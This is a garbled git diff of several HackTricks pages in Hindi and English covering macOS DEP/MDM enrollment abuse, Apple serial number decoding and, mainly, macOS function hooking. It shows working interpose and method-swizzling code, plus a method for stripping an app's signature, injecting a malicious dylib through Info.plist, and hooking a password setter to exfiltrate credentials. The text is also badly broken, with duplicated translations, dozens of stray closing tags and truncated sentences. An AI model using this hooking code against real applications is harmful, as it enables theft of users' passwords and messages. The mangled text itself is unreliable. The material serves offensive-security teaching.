इस शोषण प्रक्रिया को पायथन का उपयोग करके LLDB API के साथ स्वचालित किया गया था, जिससे एकाधिक सीरियल नंबरों को प्रोग्रामेटिक रूप से डालने और संबंधित DEP प्रोफ़ाइल प्राप्त करना संभव हुआ
शोषण प्रक्रिया को LLDB API के साथ पायथन का उपयोग करके स्वचालित किया गया, जिससे मनमाने सीरियल नंबर को प्रोग्रामेटिक रूप से इंजेक्ट करना और संबंधित DEP प्रोफाइल प्राप्त करना संभव हो गया
### DEP और MDM दोषों के संभावित प्रभाव
### DEP और MDM भेद्यताओं के संभावित प्रभाव
अनुसंधान ने महत्वपूर्ण सुरक्षा संबंधित चिंताएं हाइलाइट की:
अनुसंधान ने महत्वपूर्ण सुरक्षा चिंताओं को उजागर किया:
1. **जानकारी लीक**: DEP-नामांकित सीरियल नंबर प्रदान करके, DEP प्रोफ़ाइल में शामिल संगठनात्मक जानकारी प्राप्त की जा सकती है।
2. **रोग डीईपी नामांकन**: सही प्रमाणीकरण के बिना, एक DEP-नामांकित सीरियल नंबर वाला हमलावर एक संगठन के MDM सर्वर में एक रोग उपकरण को नामांकित कर सकता है, जिससे संवेदनशील डेटा और नेटवर्क संसाधनों तक पहुंच सकती है।
1. **जानकारी का खुलासा**: DEP-रजिस्टर्ड सीरियल नंबर प्रदान करके, DEP प्रोफाइल में निहित संवेदनशील संगठनात्मक जानकारी प्राप्त की जा सकती है।
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
सारांश में, जबकि DEP और MDM उपकरणों को उद्यमी परिवेशों में प्रबंधित कर
<details>
<summary>HackTricks का समर्थन करें</summary>
* [**सदस्यता योजनाओं**](https://github.com/sponsors/carlospolop) की जांच करें!
* **हमारे साथ जुड़ें** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या **हमें** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो करें।**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PR सबमिट करें।
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}

View file

@ -1,34 +1,45 @@
# macOS सीरियल नंबर
# macOS Serial Number
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> के साथ जीरो से हीरो तक AWS हैकिंग सीखें!</summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* अगर आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) पर **फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
{% endhint %}
## मूल जानकारी
## Basic Information
2010 के बाद के Apple डिवाइसों के सीरियल नंबर 12 अल्फान्यूमेरिक वर्णों से बने होते हैं, प्रत्येक सेगमेंट विशिष्ट जानकारी को सूचित करता है:
Apple उपकरणों का 2010 के बाद का सीरियल नंबर **12 अल्फ़ान्यूमेरिक वर्णों** से बना होता है, प्रत्येक खंड विशिष्ट जानकारी प्रदान करता है:
- **पहले 3 वर्ण**: **निर्माण स्थान** को इंडिकेट करते हैं।
- **4 और 5 वर्ण**: **निर्माण के साल और सप्ताह** को दर्शाते हैं।
- **6 से 8 वर्ण**: प्रत्येक डिवाइस के लिए **एक अद्वितीय पहचानकर्ता** के रूप में काम करते हैं।
- **अंतिम 4 वर्ण**: डिवाइस का **मॉडल नंबर** निर्धारित करते हैं।
- **पहले 3 वर्ण**: **निर्माण स्थान** को दर्शाते हैं।
- **वर्ण 4 और 5**: **निर्माण का वर्ष और सप्ताह** दर्शाते हैं।
- **वर्ण 6 से 8**: प्रत्येक उपकरण के लिए **विशिष्ट पहचानकर्ता** के रूप में कार्य करते हैं।
- **अंतिम 4 वर्ण**: **मॉडल नंबर** निर्दिष्ट करते हैं।
उदाहरण के लिए, सीरियल नंबर **C02L13ECF8J2** इस संरचना का पालन करता है।
### **निर्माण स्थान (पहले 3 वर्ण)**
कुछ कोड विशिष्ट कारखानों को प्रतिनिधित करते हैं:
- **FC, F, XA/XB/QP/G8**: संयुक्त राज्य अमेरिका में विभिन्न स्थान।
कुछ कोड विशिष्ट कारखानों का प्रतिनिधित्व करते हैं:
- **FC, F, XA/XB/QP/G8**: अमेरिका के विभिन्न स्थान।
- **RN**: मेक्सिको।
- **CK**: कॉर्क, आयरलैंड।
- **VM**: फॉक्सकॉन, चेक गणराज्य।
@ -38,34 +49,45 @@ HackTricks का समर्थन करने के अन्य तरी
- **EE/QT/UV**: ताइवान।
- **FK/F1/F2, W8, DL/DM, DN, YM/7J, 1C/4H/WQ/F7**: चीन के विभिन्न स्थान।
- **C0, C3, C7**: चीन के विशिष्ट शहर।
- **RM**: नवीनीकृत डिवाइस
- **RM**: नवीनीकरण किए गए उपकरण
### **निर्माण का साल (4 वर्ण)**
यह वर्ण 'C' (2010 के पहले अर्धवर्ष को प्रतिनिधित करता है) से 'Z' (2019 के दूसरे अर्धवर्ष को) तक विभिन्न अक्षरों के साथ विभिन्न अर्धवर्ष की अवधियों को दर्शाता है
### **निर्माण का वर्ष (4वां वर्ण)**
यह वर्ण 'C' (2010 के पहले आधे का प्रतिनिधित्व करता है) से लेकर 'Z' (2019 के दूसरे आधे) तक भिन्न होता है, विभिन्न अक्षर विभिन्न आधे वर्ष की अवधि को दर्शाते हैं
### **निर्माण का सप्ताह (5 वर्ण)**
अंक 1-9 सप्ताह 1-9 का प्रतिनिधित करते हैं। अक्षर C-Y (स्वरों और 'S' को छोड़कर) सप्ताह 10-27 को प्रतिनिधित करते हैं। वर्ष के दूसरे अर्धवर्ष के लिए, इस संख्या में 26 जोड़ी जाती है।
### **निर्माण का सप्ताह (5वां वर्ण)**
अंक 1-9 सप्ताह 1-9 के अनुरूप होते हैं। अक्षर C-Y (स्वर और 'S' को छोड़कर) सप्ताह 10-27 का प्रतिनिधित्व करते हैं। वर्ष के दूसरे आधे के लिए, इस संख्या में 26 जोड़ा जाता है।
### **अद्वितीय पहचानकर्ता (वर्ण 6 से 8)**
ये तीन अंक सुनिश्चित करते हैं कि प्रत्येक डिवाइस, यदि वह समान मॉडल और बैच का हो, एक विशिष्ट सीरियल नंबर है।
### **मॉडल नंबर (अंतिम 4 वर्ण)**
ये अंक डिवाइस का विशिष्ट मॉडल पहचानते हैं।
### संदर्भ
* [https://beetstech.com/blog/decode-meaning-behind-apple-serial-number](https://beetstech.com/blog/decode-meaning-behind-apple-serial-number)
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> के साथ जीरो से हीरो तक AWS हैकिंग सीखें!</summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* अगर आप अपनी कंपनी का विज्ञापन HackTricks में देखना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) पर **फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github रेपो में।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}
</details>
{% endhint %}hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %}
</details>
{% endhint %}

View file

@ -1,26 +1,27 @@
# macOS कार्य क्रमण हुकिंग
# macOS Function Hooking
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में** देखना चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** हैकट्रिक्स और हैकट्रिक्स क्लाउड गिटहब रेपो में पीआर जमा करके।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
## कार्य इंटरपोज़िंग
## Function Interposing
एक **dylib** बनाएं जिसमें **`__interpose`** खंड (या एक खंड जिसे **`S_INTERPOSING`** फ्लैग के साथ चिह्नित किया गया हो) हो, जिसमें **कार्य संकेतक** के जोड़ों का संदर्भ होता है जो **मूल** और **प्रतिस्थापन** कार्यों को संदर्भित करते हैं।
एक **dylib** बनाएं जिसमें एक **`__interpose`** सेक्शन (या एक सेक्शन जिसे **`S_INTERPOSING`** के साथ चिह्नित किया गया हो) हो जिसमें **फंक्शन पॉइंटर्स** के ट्यूपल्स हों जो **मूल** और **प्रतिस्थापन** फंक्शंस को संदर्भित करते हैं।
फिर, **`DYLD_INSERT_LIBRARIES`** के साथ dylib **इंजेक्ट** करें (इंटरपोजिंग को मुख्य ऐप लोड होने से पहले होना चाहिए)। स्वाभाविक रूप से [**`DYLD_INSERT_LIBRARIES`** का उपयोग करने पर लागू **प्रतिबंध** यहां भी लागू होते हैं](../macos-proces-abuse/macos-library-injection/#check-restrictions)&#x20;
फिर, **`DYLD_INSERT_LIBRARIES`** के साथ dylib को **इंजेक्ट** करें (इंटरपोजिंग मुख्य ऐप लोड होने से पहले होनी चाहिए)। स्पष्ट रूप से [**`DYLD_INSERT_LIBRARIES`** के उपयोग पर लागू **प्रतिबंध** यहाँ भी लागू होते हैं](../macos-proces-abuse/macos-library-injection/#check-restrictions).&#x20;
### printf को इंटरपोज़ करें
### Interpose printf
{% tabs %}
{% tab title="interpose.c" %}
@ -58,7 +59,7 @@ return 0;
```
{% endtab %}
{% tab title="interpose2.c" %}यहाँ हम एक और उदाहरण देखेंगे जिसमें हम फ़ंक्शन हुकिंग का उपयोग करके `open` फ़ंक्शन को हुक करेंगे। इसके लिए हम `DYLD_INSERT_LIBRARIES` वायरेबल का उपयोग करेंगे। यह उदाहरण `open` फ़ंक्शन को हुक करके फ़ाइल खोलने की क्रिया को अवरोधित करेगा। %}
{% tab title="interpose2.c" %}
```c
// Just another way to define an interpose
// gcc -dynamiclib interpose2.c -o interpose2.dylib
@ -93,21 +94,21 @@ Hello from interpose
```
## Method Swizzling
ObjectiveC में यह एक तरीका है कि एक मेथड को कैसे बुलाया जाता है: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
In ObjectiveC यह इस तरह से एक विधि को कॉल किया जाता है: **`[myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]`**
इसमें **object**, **method** और **params** की आवश्यकता होती है। और जब एक मेथड को बुलाया जाता है तो **msg भेजा जाता है** फ़ंक्शन **`objc_msgSend`** का उपयोग करके: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
यह आवश्यक है **ऑब्जेक्ट**, **विधि** और **पैरामीटर**। और जब एक विधि को कॉल किया जाता है, तो एक **msg भेजा जाता है** फ़ंक्शन **`objc_msgSend`** का उपयोग करके: `int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);`
यहाँ object है **`someObject`**, method है **`@selector(method1p1:p2:)`** और arguments हैं **value1**, **value2**
ऑब्जेक्ट है **`someObject`**, विधि है **`@selector(method1p1:p2:)`** और तर्क हैं **value1**, **value2**
ऑब्जेक्ट संरचनाओं का पालन करते हुए, एक **methods का अर्रेय** तक पहुंचना संभव है जहाँ **नाम** और **मेथड कोड के पॉइंटर** स्थित हैं।
ऑब्जेक्ट संरचनाओं के अनुसार, एक **विधियों की सूची** तक पहुँचना संभव है जहाँ **नाम** और **विधि कोड के लिए पॉइंटर्स** **स्थित** हैं।
{% hint style="danger" %}
ध्यान दें कि क्योंकि methods और classes अपने नामों के आधार पर एक्सेस किए जाते हैं, इस जानकारी को बाइनरी में स्टोर किया जाता है, इसलिए इसे `otool -ov </path/bin>` या [`class-dump </path/bin>`](https://github.com/nygard/class-dump) के साथ पुनः प्राप्त किया जा सकता है।
ध्यान दें कि क्योंकि विधियों और कक्षाओं को उनके नामों के आधार पर एक्सेस किया जाता है, यह जानकारी बाइनरी में संग्रहीत होती है, इसलिए इसे `otool -ov </path/bin>` या [`class-dump </path/bin>`](https://github.com/nygard/class-dump) के साथ पुनः प्राप्त करना संभव है।
{% endhint %}
### रॉ मेथड तक पहुंचना
### Accessing the raw methods
मेथड्स की जानकारी तक पहुंचना संभव है जैसे कि नाम, पैरामीटरों की संख्या या पता जैसे कि निम्नलिखित उदाहरण में:
यह विधियों की जानकारी जैसे नाम, पैरामीटर की संख्या या पता तक पहुँचने के लिए संभव है जैसे कि निम्नलिखित उदाहरण में:
```objectivec
// gcc -framework Foundation test.m -o test
@ -175,10 +176,10 @@ return 0;
```
### Method Swizzling with method\_exchangeImplementations
ंक्शन **`method_exchangeImplementations`** को एक फ़ंक्शन के **इम्प्लीमेंटेशन** के **पते** को **बदलने** की अनुमति देता है **दूसरे के लिए**
फंक्शन **`method_exchangeImplementations`** **एक फंक्शन के लिए दूसरे** के **इम्प्लीमेंटेशन** के **पते** को **बदलने** की अनुमति देता है।
{% hint style="danger" %}
तो जब एक फंक्शन को कॉल किया जाता है तो **वहाँ दूसरा वाला** चलाया जाता है
तो जब एक फंक्शन को कॉल किया जाता है, तो **जो कार्यान्वित होता है वह दूसरा होता है**
{% endhint %}
```objectivec
//gcc -framework Foundation swizzle_str.m -o swizzle_str
@ -224,16 +225,16 @@ return 0;
}
```
{% hint style="warning" %}
इस मामले में अगर **वैध** मेथड की **अमलन कोड** **मेथड का नाम** **सत्यापित** करता है तो यह स्विज़लिंग को **पहचान** सकता है और इसे चलने से रोक सकता है।
इस मामले में यदि **वैध** विधि का **कार्यान्वयन कोड** **विधि** **नाम** की **पुष्टि** करता है, तो यह **स्विज़लिंग** का **पता** लगा सकता है और इसे चलने से रोक सकता है।
निम्नलिखित तकनीक में यह प्रतिबंध नहीं है।
{% endhint %}
### method\_setImplementation के साथ मेथड स्विज़लिंग
### Method Swizzling with method\_setImplementation
पिछला प्रारूप अजीब है क्योंकि आप एक से दूसरे मेथड के अमलन को बदल रहे हैं। **`method_setImplementation`** फ़ंक्शन का उपयोग करके आप एक **मेथड के अमलन को दूसरे के लिए बदल सकते हैं**
पिछला प्रारूप अजीब है क्योंकि आप 2 विधियों के कार्यान्वयन को एक-दूसरे से बदल रहे हैं। फ़ंक्शन **`method_setImplementation`** का उपयोग करके आप **एक विधि के कार्यान्वयन को दूसरे के लिए बदल** सकते हैं।
बस याद रखें कि अगर आप नए अमलन से उसे कॉल करने जा रहे हैं तो **मूल वाले के अमलन के पते को संग्रहित करें** क्योंकि बाद में उस पते को ढूंढना बहुत कठिन हो जाएगा।
बस याद रखें कि यदि आप इसे नए कार्यान्वयन से कॉल करने जा रहे हैं तो **मूल वाले कार्यान्वयन के पते को स्टोर करें** इससे पहले कि आप इसे ओवरराइट करें क्योंकि बाद में उस पते को ढूंढना बहुत जटिल होगा।
```objectivec
#import <Foundation/Foundation.h>
#import <objc/runtime.h>
@ -285,17 +286,17 @@ return 0;
}
}
```
## हुकिंग हमले की विधि
## Hooking Attack Methodology
इस पृष्ठ पर विभिन्न तरीके चरणों को हुक करने के बारे में चर्चा की गई थी। हालांकि, इसमें **प्रक्रिया के अंदर कोड चलाने की आक्रमण करने** शामिल थे
इस पृष्ठ पर फ़ंक्शनों को हुक करने के विभिन्न तरीकों पर चर्चा की गई। हालाँकि, इनमें **हमले के लिए प्रक्रिया के अंदर कोड चलाना** शामिल था
इसे करने के लिए सबसे सरल तकनीक [डाइल्ड को पर्यावरण चरवाहों या हाइजैकिंग के माध्यम से इंजेक्शन](../macos-dyld-hijacking-and-dyld\_insert\_libraries.md) करना है। हालांकि, मुझे लगता है कि यह [डाइलिब प्रक्रिया इंजेक्शन](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port) के माध्यम से भी किया जा सकता है।
यह करने के लिए सबसे आसान तकनीक है [पर्यावरण चर या हाईजैकिंग के माध्यम से Dyld को इंजेक्ट करना](../macos-dyld-hijacking-and-dyld\_insert\_libraries.md)। हालाँकि, मुझे लगता है कि यह [Dylib प्रक्रिया इंजेक्शन](macos-ipc-inter-process-communication/#dylib-process-injection-via-task-port) के माध्यम से भी किया जा सकता है।
हालांकि, दोनों विकल्प **सीमित** हैं **सुरक्षित नहीं** बाइनरी/प्रक्रियाओं के लिए। अधिक जानकारी प्राप्त करने के लिए प्रत्येक तकनीक की जांच करें।
हालाँकि, दोनों विकल्प **असुरक्षित** बाइनरी/प्रक्रियाओं तक **सीमित** हैं। सीमाओं के बारे में अधिक जानने के लिए प्रत्येक तकनीक की जांच करें।
हालाकि, एक फ़ंक्शन हुकिंग हमला बहुत विशिष्ट है, एक हमलावर इसे **प्रक्रिया के अंदर से संवेदनशील जानकारी चुराने** के लिए करेगा (यदि आप ऐसा नहीं करेंगे तो आप बस एक प्रक्रिया इंजेक्शन हमला करेंगे)। और यह संवेदनशील जानकारी उपयोगकर्ता डाउनलोड किए गए ऐप्स जैसे MacPass में स्थित हो सकती है।
हालाकि, एक फ़ंक्शन हुकिंग हमला बहुत विशिष्ट है, एक हमलावर ऐसा करेगा **प्रक्रिया के अंदर से संवेदनशील जानकारी चुराने के लिए** (यदि नहीं, तो आप बस एक प्रक्रिया इंजेक्शन हमला करेंगे)। और यह संवेदनशील जानकारी उपयोगकर्ता द्वारा डाउनलोड किए गए ऐप्स जैसे MacPass में स्थित हो सकती है।
तो हमलावर वेक्टर या तो एक दुर्भाग्यता खोजने या एप्लिकेशन के Info.plist के माध्यम से **`DYLD_INSERT_LIBRARIES`** एनवायरनमेंट चरवाहों को इंजेक्ट करने के लिए एप्लिकेशन के साइनेचर को छीनने का प्रयास करेगा और कुछ इस प्रकार कुछ जोड़ेंगे:
इसलिए हमलावर का वेक्टर या तो एक भेद्यता खोजने या एप्लिकेशन के हस्ताक्षर को हटाने, **`DYLD_INSERT_LIBRARIES`** env चर को एप्लिकेशन के Info.plist के माध्यम से इंजेक्ट करना होगा, कुछ इस तरह जोड़ते हुए:
```xml
<key>LSEnvironment</key>
<dict>
@ -303,7 +304,7 @@ return 0;
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>
```
और फिर **एप्लिकेशन को पुनः पंजीकृत** करें:
और फिर **पुनः पंजीकरण** करें आवेदन:
{% code overflow="wrap" %}
```bash
@ -311,13 +312,13 @@ return 0;
```
{% endcode %}
उस लाइब्रेरी में उक्त जानकारी को बाहर भेजने के लिए हुकिंग कोड जोड़ें: पासवर्ड, संदेश...
उस पुस्तकालय में hooking कोड जोड़ें ताकि जानकारी को exfiltrate किया जा सके: पासवर्ड, संदेश...
{% hint style="danger" %}
ध्यान दें कि macOS के नए संस्करणों में अगर आप एप्लिकेशन बाइनरी के **सिग्नेचर को हटा देते हैं** और यह पहले से ही चल रहा था, तो macOS **अब एप्लिकेशन को नहीं चलाएगा**।
ध्यान दें कि macOS के नए संस्करणों में यदि आप एप्लिकेशन बाइनरी का **हस्ताक्षर हटा देते हैं** और इसे पहले निष्पादित किया गया था, तो macOS **अब एप्लिकेशन को निष्पादित नहीं करेगा**।
{% endhint %}
#### लाइब्रेरी उदाहरण
#### पुस्तकालय उदाहरण
```objectivec
// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib
@ -357,16 +358,17 @@ real_setPassword = method_setImplementation(real_Method, fake_IMP);
* [https://nshipster.com/method-swizzling/](https://nshipster.com/method-swizzling/)
{% hint style="success" %}
AWS हैकिंग सीखें और अभ्यास करें:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP हैकिंग सीखें और अभ्यास करें: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जीरो से हीरो तक AWS हैकिंग सीखें</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary>HackTricks का समर्थन करें</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह **The PEASS Family** की खोज करें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर **फॉलो** करें।
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
* [**सदस्यता योजनाएँ**](https://github.com/sponsors/carlospolop) देखें!
* **हमारे** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) में शामिल हों या **Twitter** 🐦 पर हमें **फॉलो करें** [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **हैकिंग ट्रिक्स साझा करें और** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) गिटहब रिपोजिटरी में PRs सबमिट करें।
</details>
{% endhint %}

View file

@ -1,46 +1,80 @@
# macOS AppleFS
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
<summary>Support HackTricks</summary>
HackTricks का समर्थन करने के अन्य तरीके:
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) कलेक्शन, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** पर फॉलो** करें।
* **अपने हैकिंग ट्रिक्स साझा करें, PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में।
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
